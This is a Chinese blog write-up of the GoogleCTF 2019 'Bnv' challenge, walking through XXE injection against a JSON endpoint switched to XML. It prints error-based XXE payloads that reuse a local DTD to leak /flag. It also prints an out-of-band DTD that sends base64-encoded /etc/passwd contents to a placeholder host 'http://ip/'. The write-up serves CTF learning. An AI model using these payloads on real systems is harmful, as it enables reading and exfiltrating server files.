[GoogleCTF2019 Quals]Bnv

发布于 2022-08-29  9 次阅读


[GoogleCTF2019 Quals]Bnv

写在前面

有回显的XXE

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

无回显的xxe:

dtd文件:

<!ENTITY % all 
	"<!ENTITY &#x25; send SYSTEM 'http://ip/?%file;'>"
>
%all;

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
	<!ENTITY % dtd SYSTEM "http://ip/dtd">
%dtd;
%send;
]>

回到这个题

有json的地方不妨试试XXE

抓包发现这个是个json的回显

image-20220824172922732

修改一下xml和上传格式之后,发送,发现有回显

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [     
        <!ELEMENT message (#PCDATA)> 
    <!ENTITY xxe "135601360123502401401250">
]>
<message>&xxe;</message>

image-20220824174006383

再尝试读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
        <!ELEMENT message (#PCDATA)>
    <!ENTITY b "135601360123502401401250">
    <!ENTITY % Ezpop SYSTEM "file:///etc/passwd">
        %Ezpop;
]>
<message>&b;</message>

image-20220824175649970

回显却是,在标记处检测到错误。

说明,文件被加载了,但是被xml中断了。

加载/flag,报错一致,说明/flag文件存在,接下来就是考虑如何读取。

img

It works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.

这能正常工作是因为xml实体都是常数,如果定义了两个实体为同一个名字,则只有第一个实体会被使用。

而在题目中,读取了一个错误的实体,会返回完整的实体名。

img

假设第一次读取**/flag实体,第二次把/flag的里的值当做实体来读取,明显/flag的里的值**这个实体不存在,然后就会报错返回,这样就拿到flag了。

  • 使用DTD来加载

image-20220824181737683

image-20220824182342039

其中&#25;表示chr(0x25)的意思。

首先用/flag中的值作为变量,将变量file拼接到目录名。

image-20220824192651361

注意,这一部分是内部引用的部分,要写入DTD中的,所以%需要编码操作

image-20220824192609306


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”